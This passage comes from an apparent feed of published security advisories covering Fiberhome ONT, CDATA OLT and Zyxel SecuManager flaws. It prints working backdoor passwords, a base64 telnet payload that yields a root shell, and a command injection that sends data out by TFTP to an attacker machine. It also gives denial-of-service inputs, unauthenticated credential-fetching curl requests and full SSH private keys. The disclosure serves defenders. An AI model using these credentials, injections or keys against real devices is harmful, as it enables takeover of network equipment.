<p><a id="telnet-cli-auth-bypass-linux-telnetd"></a></p>
<h2>Details - Telnet server (CLI) - Authentication bypass to start the Linux telnetd</h2>
<p>It is possible to use the previous authentication bypass to start a full telnetd server on port 26 and then get a root shell using the password from <a href="#telnet-linux-hardcoded-credentials">Telnet server (Linux) - Hardcoded credentials</a>.</p>
<p>By sending <code>ddd</code> then <code>tshell</code>, a telnetd will be started on port 26/tcp:</p>
<pre><code>$ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 &amp;
------acl IP:192.168.1.2 --------
Login: 
User&gt; 
User&gt; help

      This system provides help feature as described below.

      1. Anytime you need help, just press "?" and don't
  press Enter,you can see each possible command argument
  and its description.

      2. You can also input "list" and then press Enter
  to execute this helpful command to view the list of
  commands you can use.

User&gt; list
 0. clear
 1. enable
 2. exit
 3. help



$ telnet target 26
Trying target...
Connected to target.
Escape character is '^]'.

(none) login: root
Password: [GEPON]


BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#id
uid=0(root) gid=0 groups=0
</code></pre>
<p>The attacker will get a root shell.</p>
<p><a id="telnet-cli-dos"></a></p>
<h2>Details - Telnet server (CLI) - DoS</h2>
<p>It is possible to crash the telnet daemon by sending a specific string:</p>
<pre><code>$ hexdump -C crash-auth-telnet 
00000000  1a 0a 65 6e 61 62 6c 65  0a 02 0a 1a 0a           |..enable.....|
0000000d
$ nc -v 192.168.1.1 23 &lt; crash-auth-telnet 
192.168.1.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.1.1] 23 (telnet) open
$ nc -v 192.168.1.1 23 &lt; crash-auth-telnet 
192.168.1.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.1.1] 23 (telnet) : Connection refused
</code></pre>
<p>This segfault exists inside <code>/fh/extend/load_cli</code> but was not studied as the previous bypass already worked.</p>
<p><a id="system-credentials-clear-text-files"></a></p>
<h2>Details - System - Credentials stored in clear-text</h2>
<p>Some credentials are stored in clear-text with permissive rights:</p>
<pre><code>#pwd
/fhconf/fh_wifi
#ls -la 
drwxr-xr-x    2 root     0              536 Jan  7  2020 .
drwxr-xr-x   14 root     0            10264 Jan  8 15:29 ..
-rw-r--r--    1 root     0              118 Jan  1  1970 wifi_custom.cfg
-rw-r--r--    1 root     0             1212 Jan  7  2020 wifictl_2g.cfg
-rw-r--r--    1 root     0             1178 Jan  7  2020 wifictl_2g.cfg.bak
-rw-r--r--    1 root     0             1213 Jan  7  2020 wifictl_5g.cfg
-rw-r--r--    1 root     0             1208 Jan  7  2020 wifictl_5g.cfg.bak

#cat /fhconf/fh_wifi/wifi_custom.cfg 
ssid_2g=[REMOVED]
ssid_5g=[REMOVED]
country=BR
auth=WPAPSKWPA2PSK
encrypt=tkipaes
psk=[REMOVED]
#

#cat wifictl_2g.cfg
[...]
WPAPSK=[REMOVED]
[...]
WEPKey1=[REMOVED]
[...]
WEPKey2=[REMOVED]
[...]
WEPKey3=[REMOVED]
[...]
WEPKey4=[REMOVED]
[...]
RadiusKey=[REMOVED]

#cat wifictl_5g.cfg
SSID=[REMOVED]
[...]
WPAPSK=[REMOVED]
[...]
WEPKey1=[REMOVED]
[...]
WEPKey2=[REMOVED]
[...]
WEPKey3=[REMOVED]
[...]
WEPKey4=[REMOVED]
[...]
RadiusKey=[REMOVED]
</code></pre>
<p><a id="system-credentials-clear-text-nvram"></a></p>
<h2>Details - Misc - Passwords stored in clear-text in nvram</h2>
<p>Some passwords are stored in clear-text in nvram:</p>
<pre><code>#nvram show
wl0.1_key=1
wl0.1_key1=[REMOVED]
wl0.1_key2=[REMOVED]
wl0.1_key3=[REMOVED]
wl0.1_key4=[REMOVED]
[...]
wl0.1_ssid=[REMOVED]
[...]
wl0.1_wpa_psk=[REMOVED]
[...]
wl0_key1=[REMOVED]
wl0_key2=[REMOVED]
wl0_key3=[REMOVED]
wl0_key4=[REMOVED]
[...]
wl0_ssid=[REMOVED]
[...]
wl0_wpa_psk=[REMOVED]
[...]
[ passwords everywhere removed because of space ]
[...]
</code></pre>
<p><a id="misc-remote-stack-overflow-an5506"></a></p>
<h2>Details - Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)</h2>
<p>I got another Fiberhome device with a different firmware version (AN5506-04-FA, firmware RP2631, 4 April 2019). The HG6245D and the AN5506-04-FA devices share a very similar code base.</p>
<p>The firmware on the AN5506-04-FA device is vulnerable to a remote stack overflow in the <code>webs</code> process by sending a Cookie value with a length &gt; 511 bytes to any valid asp webpage. This can be triggered using a simple wget command:</p>
<pre><code>$ wget --no-check-certificate -O- --header 'Cookie: loginName=AAAA[511bytes]AAAA' https://192.168.1.1/tr069/tr069.asp
</code></pre>
<p>In the HG6245D firmware version RP2602, this vulnerability has been patched by checking the size of values in the cookies, so I was not able to exploit it. You can also read the log file to confirm the length is now checked:</p>
<pre><code>&lt;web_ga&gt;2020-01-08 21:23:12,../thd_ga2_5/webs.c[1375](websParseRequest): Request header param value is too long! key: cookie
</code></pre>
<p>It appears it has been patched in the HG6245D router, firmware RP2602. Firmware RP2631 (4 April 2019) for router AN5506-04-FA remains vulnerable.
I found no CVE or public research about this vulnerability so it may have been silently patched by the vendor for the HG6245D router.</p>
<h2>Dorks</h2>
<p><code>acl IP:</code></p>
<p><code>GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN</code></p>
<h2>Vendor Response</h2>
<p>Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.</p>
<h2>Report Timeline</h2>
<ul>
<li>Jan 7, 2020: Majority of vulnerabilities found.</li>
<li>Jan 8, 2020: This advisory was written.</li>
<li>Aug 2020: Found the lack of IPv6 firewall.</li>
<li>Jan 9, 2021: Vulnerabilities checked again and the advisory was rewritten.</li>
<li>Jan 12, 2021: A public advisory is sent to security mailing lists.</li>
<li>Feb 7, 2021: The latest firmware version (RP2613) is confirmed to be vulnerable.</li>
<li>Feb 10, 2021: MITRE provides CVE-2021-27139, CVE-2021-27140, CVE-2021-27141, CVE-2021-27142, CVE-2021-27143, CVE-2021-27144, CVE-2021-27145, CVE-2021-27146, CVE-2021-27147, CVE-2021-27148, CVE-2021-27149, CVE-2021-27150, CVE-2021-27151, CVE-2021-27152, CVE-2021-27153, CVE-2021-27154, CVE-2021-27155, CVE-2021-27156, CVE-2021-27157, CVE-2021-27158, CVE-2021-27159, CVE-2021-27160, CVE-2021-27161, CVE-2021-27162, CVE-2021-27163, CVE-2021-27164, CVE-2021-27165, CVE-2021-27166, CVE-2021-27167, CVE-2021-27168, CVE-2021-27169, CVE-2021-27170, CVE-2021-27171, CVE-2021-27172, CVE-2021-27173, CVE-2021-27174, CVE-2021-27175, CVE-2021-27176, CVE-2021-27177, CVE-2021-27178, CVE-2021-27179.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="//pierrekim.github.io/advisories/2021-fiberhome-0x00-ont.txt">https://pierrekim.github.io/advisories/2021-fiberhome-0x00-ont.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html">https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities found in CDATA OLTs</title>
        <link href="2020-07-07-cdata-olt-0day-vulnerabilities.html"/>
        <content type="html"><h2>Product Description</h2>
<p>The CDATA OLTs are OEM FTTH OLTs, sold under different brands (Cdata, OptiLink, BLIY), allowing to provide FTTH connectivity to a large number of clients (using ONTs).
Some of the devices support multiple 10-gigabit uplinks and provide Internet connectivity to up to 1024 ONTs (clients).</p>
<p>We validated the vulnerabilities against FD1104B and FD1108SN OLTs in our lab environment with the latest firmware versions (V1.2.2 and 2.4.05_000, 2.4.04_001 and 2.4.03_000).
<img alt="" src="images/2020-olt.jpg" /></p>
<p>Using static analysis, these vulnerabilities also appear to affect all available OLT models as the codebase is similar:</p>
<ul>
<li>72408A</li>
<li>9008A</li>
<li>9016A</li>
<li>92408A</li>
<li>92416A</li>
<li>9288</li>
<li>97016</li>
<li>97024P</li>
<li>97028P</li>
<li>97042P</li>
<li>97084P</li>
<li>97168P</li>
<li>FD1002S</li>
<li>FD1104</li>
<li>FD1104B</li>
<li>FD1104S</li>
<li>FD1104SN</li>
<li>FD1108S</li>
<li>FD1204S-R2</li>
<li>FD1204SN</li>
<li>FD1204SN-R2</li>
<li>FD1208S-R2</li>
<li>FD1216S-R1</li>
<li>FD1608GS</li>
<li>FD1608SN</li>
<li>FD1616GS</li>
<li>FD1616SN</li>
<li>FD8000</li>
</ul>
<p>From the analyzed binaries, we extracted information about the OEM vendor:</p>
<pre><code>CDATA
Flat 6, Bldg 4,South 2 of Honghualing Industrial Zone, Liuxian Road, Xili Town, Shenzhen, Guangdong, China(518055)
marketing@cdatatec.com
</code></pre>
<p>For explanation about FTTH architecture, you can check my previous research at <a href="http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html">http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html</a>.</p>
<h2>Vulnerabilities Summary</h2>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#backdoor-telnet">Backdoor Access with telnet - CVE-2020-29059, CVE-2020-29060, CVE-2020-29061, CVE-2020-29062</a></li>
<li><a href="#credentials-infoleak-telnet">Credentials infoleak and credentials in clear-text (telnet) - CVE-2020-29054</a></li>
<li><a href="#command-injection-root">Escape shell with root privileges - CVE-2020-29056</a></li>
<li><a href="#pre-auth-remote-dos">Pre-Auth Remote DoS - CVE-2020-29057</a></li>
<li><a href="#credentials-infoleak-web">Credentials infoleak and credentials in clear-text (HTTP) - CVE-2020-29058</a></li>
<li><a href="#weak-encryption-algorithm">Weak encryption algorithm - CVE-2020-29063</a></li>
<li><a href="#insecure-management-interfaces">Insecure management interfaces - CVE-2020-29055</a></li>
</ol>
<p><a id="backdoor-telnet"></a></p>
<h2>Details - Backdoor Access with telnet</h2>
<p>A telnet server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).</p>
<p>Depending on the firmware, the backdoor credentials may change. You can find below a complete list of backdoor (undocumented) credentials, giving an attacker a complete administrator CLI access.</p>
<p>Previous and old versions can be abused with:</p>
<pre><code>login: suma123
password: panger123
</code></pre>
<p>New recent versions can be abused with:</p>
<pre><code>login: debug
password: debug124

login: root
password: root126

login: guest
password: [empty]
</code></pre>
<p><img alt="" src="images/2020-olt-sub_7740A4.png" />
<center>Authentication process with hardcoded credentials</center></p>
<p>The credentials have been extracted from old and new firmware images.</p>
<p>About the credentials, it depends on the vendors and the version of the firmware - the appearance of the CLI may be different but the access still works.</p>
<p>Using <code>suma123</code>/<code>panger123</code>:</p>
<pre><code>$ telnet [ip]
********************************************************************
        Command Line Interface for EPON System
                 Hardware Ver:  V1.2
                 Software Ver:  V1.2.2
                 Created Time:  Mar 12 2018 06:54:24
    Copyright (c) 2015-2020 All rights reserved.
********************************************************************
Username:panger123
Password:suma123

Entry Supperuer successfully!

epon@
 alarm                     - setting system alarm
 best-sys                  - configure sys information
 epon-workmode             - configure EPON working-mode
 ethernet-ring             - configure rapid ring
 igmp-snooping             - configure IGMP Snooping
 interface                 - interface type
 ipconfig                  - configure the system IP address
 logout                    - exit the CLI system
 mac-address-table         - ctrl-card dynamic mac address table management
 mirror                    - configure switch mirror
 onu-auth                  - configure authentication mode for Olt
 ping                      - net ping
 port-isolate-group        - create port-isolate-group, you must enable port-isolate-mode for group
 rmon                      - configure RMON
 rstp                      - rapid spanning tree protocol configuration
 show                      - show system configuration
 system                    - configure systerm
 trunk                     - enter trunk config mode
 undo                      - delete relational configuration
 vlan                      - enter vlan config mode
epon@
</code></pre>
<p>Using <code>guest</code>/<code>[empty]</code>:</p>
<pre><code>$ telnet [ip]
********************************************************************
        Command Line Interface for EPON System
                 Hardware Ver:  V3.2
                 Software Ver:  2.4.04_001
                 Created Time:  Nov 27 2017 10:38:49
    Copyright (c) 2006-2015 All rights reserved.
********************************************************************
Username:guest
Password:[empty]
epon#
--------------------------------------------------
  Local Configuration Command
--------------------------------------------------

--------------------------------------------------
  Global Command
--------------------------------------------------
 broadcast            - Write message to all users logged in
 clear                - Clear the screen
 history              - Show command history
 logout               - Log off this system
 ping                 - Ping a network hosts
 show                 - show system configuration
 tracert              - trace the route to host
 tree                 - Show command tree

epon# show
--------------------------------------------------
  Local Configuration Command
--------------------------------------------------
 acl                  - Show ACL(s)
 auth                 - show olt auth mode
 dhcp-snooping        - show dhcp snooping configurations
 exec-timeout         - show cli console timeout
 igmp                 - show igmp snooping configurations
 mac-address          - mac-address
 mac-address-table    - show current port's mac address
 mirror               - show switch mirror configurations
 olt                  - show olt's configuration
 onu-position         - show the position of onu by mac
 qinq                 - show QinQ configuration
 rmon                 - show RMON
 rstp                 - Display RSTP information
 running-config       - show current running-configuration
 startup-config       - show current startup-configuration
 swmode               - show swmode
 swport               - display port attribute information
 system               - show system configuration
 trunk                - show trunk configuration
 vlan                 - show vlan configuration
 web                  - web server!
epon#
</code></pre>
<p>Using <code>root</code>/<code>root126</code>:</p>
<pre><code>$ telnet [ip]
********************************************************************
        Command Line Interface for EPON System
                 Hardware Ver:  V3.2
                 Software Ver:  2.4.04_001
                 Created Time:  Nov 27 2017 10:38:49
    Copyright (c) 2006-2015 All rights reserved.
********************************************************************
Username:root
Password:root126
epon#
--------------------------------------------------
  Local Configuration Command
--------------------------------------------------
 acl                  - Create ACL(s)
 acl-del              - Delete ACL(s)
 auth                 - configure authentication mode for Olt
 btv                  - btv
 cdt-sys              - configure sys information
 dhcp-snooping        - configure DHCP Snooping
 exec-timeout         - set a timeout value
 igmp                 - configure IGMP Snooping
 mac-address          - ctrl-card dynamic mac address table management
 mirror               - configure switch mirror
 multicast-vlan       - multicast-vlan &lt;mvlan&gt;
 no                   - no
 olt                  - configure OLT
 reset                - reset the values
 rmon                 - configure RMON
 rstp                 - rapid spanning tree protocol configuration
 swmode               - set basic switch mode
 swport               - enter switch port config mode
 system               - configure systerm
 trunk                - enter trunk config mode
 vlan                 - enter vlan config mode

--------------------------------------------------
  Global Command
--------------------------------------------------
 broadcast            - Write message to all users logged in
 clear                - Clear the screen
 debug                - debug
 history              - Show command history
 logout               - Log off this system
 ping                 - Ping a network hosts
 show                 - show system configuration
 tracert              - trace the route to host
 tree                 - Show command tree
 who                  - Display users currently logged in
epon#
</code></pre>
<p>Using <code>debug</code>/<code>debug124</code>:</p>
<pre><code>$ telnet [ip]
********************************************************************
        Command Line Interface for EPON System
                 Hardware Ver:  V3.2
                 Software Ver:  2.4.04_001
                 Created Time:  Nov 27 2017 10:38:49
    Copyright (c) 2006-2015 All rights reserved.
********************************************************************
Username:debug
Password:debug124
epon#
--------------------------------------------------
  Local Configuration Command
--------------------------------------------------
 acl                  - Create ACL(s)
 acl-del              - Delete ACL(s)
 auth                 - configure authentication mode for Olt
 btv                  - btv
 dhcp-snooping        - configure DHCP Snooping
 exec-timeout         - set a timeout value
 igmp                 - configure IGMP Snooping
 mac-address          - ctrl-card dynamic mac address table management
 mirror               - configure switch mirror
 multicast-vlan       - multicast-vlan &lt;mvlan&gt;
 no                   - no
 olt                  - configure OLT
 reset                - reset the values
 rmon                 - configure RMON
 rstp                 - rapid spanning tree protocol configuration
 swmode               - set basic switch mode
 swport               - enter switch port config mode
 system               - configure systerm
 trunk                - enter trunk config mode
 vlan                 - enter vlan config mode

--------------------------------------------------
  Global Command
--------------------------------------------------
 broadcast            - Write message to all users logged in
 clear                - Clear the screen
 debug                - debug
 history              - Show command history
 logout               - Log off this system
 ping                 - Ping a network hosts
 show                 - show system configuration
 tracert              - trace the route to host
 tree                 - Show command tree
 who                  - Display users currently logged in
epon#
</code></pre>
<p>With these access, an attacker can completely overwrite the configuration and overwrite the firmware.</p>
<p><a id="credentials-infoleak-telnet"></a></p>
<h2>Details - Credentials infoleak and credentials in clear-text (telnet)</h2>
<p>For this part, we suppose the attacker has a working CLI access (which can be achieved using <a href="#backdoor-telnet">Backdoor access with telnet</a>).</p>
<p>It is possible to extract administrator credentials by running this command in the CLI:</p>
<pre><code>epon# show system infor
Web Server
  Version          : V1.2.0
  BuildTime        : 19-04-23
  Administrator    : LOGIN_CLEAR_TEXT
  Password         : PASSWORD_CLEAR_TEXT
</code></pre>
<p><a id="command-injection-root"></a></p>
<h2>Details - Escape shell with root privileges</h2>
<p>For this part, we suppose the attacker has a working CLI access (which can be achieved using <a href="#backdoor-telnet">Backdoor access with telnet</a>).</p>
<p>There is a command injection in the CLI allowing an attacker to execute commands as root.</p>
<p>The command injection is located in the TFTP download configuration part.</p>
<p>In our case, we used metasploit to start a TFTP server on 192.168.1.101 and to receive results of injected commands into this TFTP server:</p>
<pre><code>$ msfconsole -q -x 'use auxiliary/server/tftp; run'
</code></pre>
<p>On the OLT:</p>
<pre><code>epon# system configurations download olt 192.168.1.101 "$(cat /proc/cpuinfo &gt; /tmp/test &amp;&amp; tftp 192.168.1.101 put /tmp/test test)"
Uncompress file failed!
</code></pre>
<p>On the TFTP server running on the attacker machine, we receive the output of the command <code>cat /proc/cpuinfo</code>:</p>
<pre><code>$ cat /tmp/test
system type             : Broadcom BCM956218
processor               : 0
cpu model               : Broadcom BCM3302 V5.0
BogoMIPS                : 299.00
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        : mips16
VCED exceptions         : not available
VCEI exceptions         : not available
</code></pre>
<p>It is also possible to exfiltrate information using the embedded webserver:</p>
<p>On the OLT:</p>
<pre><code>epon# system configurations download olt 192.168.1.101 "$(export &gt; /opt/lighttpd/web/cgi/out.txt)"
</code></pre>
<p>On the attacker machine:</p>
<pre><code>$ curl http://ip/cgi/out.txt
export HOME='/broadcom/'
export OLDPWD='/'
export PATH='/sbin:/usr/sbin:/bin:/usr/bin'
export PWD='/broadcom'
export SHELL='/bin/sh'
export TERM='vt102'
export USER='root'
</code></pre>
<p>Futhermore, everything is running as <code>root</code> in the appliance:</p>
<pre><code>PID   USER     COMMAND
    1 0        init
    2 0        [ksoftirqd/0]
    3 0        [events/0]
    4 0        [khelper]
    5 0        [kthread]
    6 0        [kblockd/0]
    7 0        [sysled]
    8 0        [pdflush]
    9 0        [pdflush]
   10 0        [kswapd0]
   11 0        [aio/0]
   12 0        [mtdblockd]
   13 0        {rcS} /bin/sh /etc/rcS
   17 0        [jffs2_gcd_mtd5]
   23 0        [bkncmd]
   24 0        [bknevt]
   26 0        fd1008s.dat
   27 0        fd1008s.dat
   28 0        fd1008s.dat
   29 0        fd1008s.dat
   30 0        fd1008s.dat
   32 0        fd1008s.dat
   33 0        fd1008s.dat
   35 0        fd1008s.dat
   36 0        fd1008s.dat
   37 0        fd1008s.dat
   38 0        fd1008s.dat
   39 0        fd1008s.dat
   40 0        fd1008s.dat
   41 0        fd1008s.dat
   42 0        fd1008s.dat
   43 0        fd1008s.dat
   44 0        fd1008s.dat
   45 0        fd1008s.dat
   46 0        fd1008s.dat
   55 0        fd1008s.dat
   56 0        fd1008s.dat
   57 0        fd1008s.dat
   58 0        fd1008s.dat
   59 0        fd1008s.dat
   60 0        fd1008s.dat
   61 0        fd1008s.dat
   64 0        fd1008s.dat
   65 0        fd1008s.dat
   66 0        fd1008s.dat
   67 0        fd1008s.dat
   68 0        fd1008s.dat
   69 0        fd1008s.dat
   70 0        fd1008s.dat
   71 0        fd1008s.dat
   72 0        fd1008s.dat
  864 0        sh -c tftp 192.168.1.101 get $(ps a &gt; /tmp/test &amp;&amp; tftp 192.168.1.101 put /tmp/test test) /tmp/cfg_download.tar.gz
  865 0        sh -c tftp 192.168.1.101 get $(ps a &gt; /tmp/test &amp;&amp; tftp 192.168.1.101 put /tmp/test test) /tmp/cfg_download.tar.gz
  866 0        ps a
</code></pre>
<p><a id="pre-auth-remote-dos"></a></p>
<h2>Details - Pre-Auth Remote DoS</h2>
<p>A telnet server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).</p>
<p>Using our cutting-edge fuzzing technology based on IA, machine-learning and shawarma, we are able to reboot any OLT from this vendor using this command:</p>
<pre><code>$ for i in $(seq 1 10); do cat /dev/urandom | nc 192.168.1.100 23 | hexdump -C;done
</code></pre>
<p>The device will reboot in the next 5 seconds and all the LEDs will blink like a Christmas tree!</p>
<p><a id="credentials-infoleak-web"></a></p>
<h2>Details - Credentials infoleak and credentials in clear-text (HTTP)</h2>
<p>A web server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).</p>
<p>Without authentication, an attacker can extract web, telnet credentials and SNMP communities (read and write) by fetching these files:</p>
<pre><code>/opt/lighttpd/web/cgi/snmp_read.txt
/opt/lighttpd/web/cgi/snmp_write.txt
/opt/lighttpd/web/cgi/web_login.txt
/opt/lighttpd/web/cgi/web_passwd.txt
/opt/lighttpd/web/cgi/onu_name.txt
/opt/lighttpd/web/cgi/oem.txt
</code></pre>
<p>Using <code>curl</code>:</p>
<pre><code>$ curl http://ip/cgi/snmp_read.txt
$ curl http://ip/cgi/snmp_write.txt
$ curl http://ip/cgi/oem.txt
$ curl http://ip/cgi/onu_name.txt
$ curl http://ip/cgi/web_passwd.txt
$ curl http://ip/cgi/web_login.txt
</code></pre>
<p><a id="weak-encryption-algorithm"></a></p>
<h2>Details - Weak encryption algorithm</h2>
<p>A custom encryption algorithm is used to store encrypted passwords. This algorithm will XOR the password with the hardcoded value <code>*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&amp;^#@$a2s0i3g</code> as shown below:</p>
<p><img alt="" src="images/2020-olt-FUN_007bcdc4.png" /></p>
<p><a id="insecure-management-interfaces"></a></p>
<h2>Details - Insecure management interfaces</h2>
<p>By default, the appliance can be managed remotely only with HTTP, telnet and SNMP. It doesn't support SSL/TLS for HTTP or SSH. An attacker can intercept passwords sent in clear-text and MITM the management of the appliance.</p>
<h2>Dorks</h2>
<p><code>EPON System</code></p>
<p><code>Optilink GEPON</code></p>
<h2>Vendor Response</h2>
<p>Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.</p>
<h2>Report Timeline</h2>
<ul>
<li>Dec 27, 2019: Vulnerabilities found and this advisory was written.</li>
<li>Jul 07, 2020: A public advisory is sent to security mailing lists.</li>
<li>Jul 14, 2020: V-SOL removed.</li>
<li>Nov 24, 2020: MITRE provides CVE-2020-29054, CVE-2020-29055, CVE-2020-29056, CVE-2020-29057, CVE-2020-29058, CVE-2020-29059, CVE-2020-29060, CVE-2020-29061, CVE-2020-29062, CVE-2020-29063.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>) and Alexandre Torres.</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2020-cdata-0x00-olt.txt">https://pierrekim.github.io/advisories/2020-cdata-0x00-olt.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html">https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities found in Zyxel CNM SecuManager</title>
        <link href="2020-03-09-zyxel-secumanager-0day-vulnerabilities.html"/>
        <content type="html"><h2>Product Description</h2>
<p>The Zyxel Cloud CNM SecuManager is a comprehensive network management software that provides
an integrated console to monitor and manage security gateways including the ZyWALL USG and
VPN Series that can be extended in the future.</p>
<p>Zyxel CNM SecuManager 3.1.0/3.1.1 (Nov 14, 2018) is the latest version.</p>
<h2>Vulnerabilities Summary</h2>
<p>The summary of the vulnerabilities is:</p>
<ol>
<li><a href="#ssh-servers-keys">Hardcoded SSH server keys - CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319</a></li>
<li><a href="#mysql-backdoor-accounts">Backdoors accounts in MySQL - CVE-2020-15320, CVE-2020-15321, CVE-2020-15322</a></li>
<li><a href="#ejabberd-backdoors">Hardcoded certificate and backdoor access in Ejabberd - CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326</a></li>
<li><a href="#open-zodb">Open ZODB storage without authentication - CVE-2020-15327, CVE-2020-15328, CVE-2020-15329</a></li>
<li><a href="#myzyxel-hardcoded-secret">MyZyxel 'Cloud' Hardcoded Secret</a></li>
<li><a href="#hardcoded-secrets-apis">Hardcoded Secrets, APIs - CVE-2020-15330, CVE-2020-15331, CVE-2020-15332</a></li>
<li><a href="#predefined-pwd-admins">Predefined passwords for admin accounts - CVE-2020-15333</a></li>
<li><a href="#insecure-cloud">Insecure management over the 'Cloud'</a></li>
<li><a href="#xmpp-escape-seq-injection">xmppCnrSender.py log escape sequence injection - CVE-2020-15334</a></li>
<li><a href="#xmpp-no-auth-cleartext">xmppCnrSender.py no authentication and clear-text communication - CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338</a></li>
<li><a href="#zope-out-of-range">Incorrect HTTP requests cause out of range access in Zope</a></li>
<li><a href="#xss">XSS on the web interface - CVE-2020-15339</a></li>
<li><a href="#private-ssh-key">Private SSH key - CVE-2020-15340</a></li>
<li><a href="#backdoor-apis">Backdoor APIs - CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346</a></li>
<li><a href="#backdoor-management-rce">Backdoor management access and RCE - CVE-2020-15347</a></li>
<li><a href="#pre-auth-rce">Pre-auth RCE with chrooted access - CVE-2020-15348</a></li>
</ol>
<p>Technical Note:</p>
<p>The attack surface is very large and many different stacks are being used making it very interesting.
Furthermore, some daemons are running as root and are reachable from the WAN. Also, there is no
firewall by default.</p>
<p><a id="ssh-servers-keys"></a></p>
<h2>Details - Hardcoded SSH server keys</h2>
<p>By default, the appliance uses hardcoded SSH server keys for the main host and
for the chroot environments as shown below. This allows an attacker to MITM and
decrypt the encrypted traffic:</p>
<pre><code>root@chopin:/etc/ssh# ls -la /etc/ssh/
total 176
drwxr-xr-x  2 root root   4096 Mar  6  2018 .
drwxr-xr-x 77 root root   4096 Dec 20  2019 ..
-rw-r--r--  1 root root 136156 Jan 26  2018 moduli
-rw-r--r--  1 root root   1669 Jan 26  2018 ssh_config
-rw-r--r--  1 root root   2522 Mar  6  2018 sshd_config
-rw-------  1 root root    668 Mar  6  2018 ssh_host_dsa_key
-rw-r--r--  1 root root    601 Mar  6  2018 ssh_host_dsa_key.pub
-rw-------  1 root root    227 Mar  6  2018 ssh_host_ecdsa_key
-rw-r--r--  1 root root    173 Mar  6  2018 ssh_host_ecdsa_key.pub
-rw-------  1 root root   1675 Mar  6  2018 ssh_host_rsa_key
-rw-r--r--  1 root root    393 Mar  6  2018 ssh_host_rsa_key.pub
root@chopin:/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 80:24:2d:f6:66:d4:db:93:10:bd:0b:ef:bf:78:33:12  root@chopin (DSA)
256 04:e0:44:00:20:8a:9f:df:b9:01:4a:ba:b0:55:d6:57  root@chopin (ECDSA)
2048 56:ad:2f:a7:79:83:5b:64:32:d4:05:ce:7a:de:8f:44  root@chopin (RSA)
root@chopin:/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQCdYajCHQF9wLkG+i88infBPbLkhE3cTTRHCbE5/vQ7/SdSdGH7
WlNJh9EkTdz17XDJW53y5IRz8SSxC0M3BXszcGQcHqqTtWVIpv08D5WztWYgQctA
RJDcu1rYZvtPq1qHN6Xo5zbPjvp0JnIT1/SoN1/jB8qIROFNuQPAeBMfiQIVAIqq
ufhcUfFSN4QJmMIgtpB6sCwnAoGBAIokbAVvxkQJX4yUxwBx0xyHydPLVkNggYkU
zfWYGxat4acsIwCAHy50k+oUnFxbVy9kp5YpGjp6uEWLegBIGQNBDxKmORp6Zvq7
MrWMaAL5VK0aJt4DiKQgGz4y2csCwRj6ioifxwBZLXJ+AKv4g7pRwyTDMVl6Gcy/
McgvCePGAoGAGb3elvsIcuDlbiQ3aCohhOpxLcMhgLblRde+eRJJywvKrat4njJd
2jAdVvUA6N76sPaxEPl8oQJiZlA76Qp8G6PMYsjJGsD8olGdjOpMNcDLI9wLgAKS
66DrS4w05RtHV43mb8NAVqC+wxlgwtbY3/A+X0faEOuOkPf3o0UVCi0CFGj4gg+A
+eDbJtE7Lq5vw8qBFHcq
-----END DSA PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEII/rgKz6KXFYu9gjlaasMA7F4fA5bvy5nYFL+GSDVClSoAoGCCqGSM49
AwEHoUQDQgAETS0b/mPZ+x/F5NtfKGOkuMvx3AZL6MW9LkV64igIFgb0kUvoGjXx
f0iXR5Rgtgec6fatdKGYPsRTz3eBzKSNzA==
-----END EC PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_rsa_key
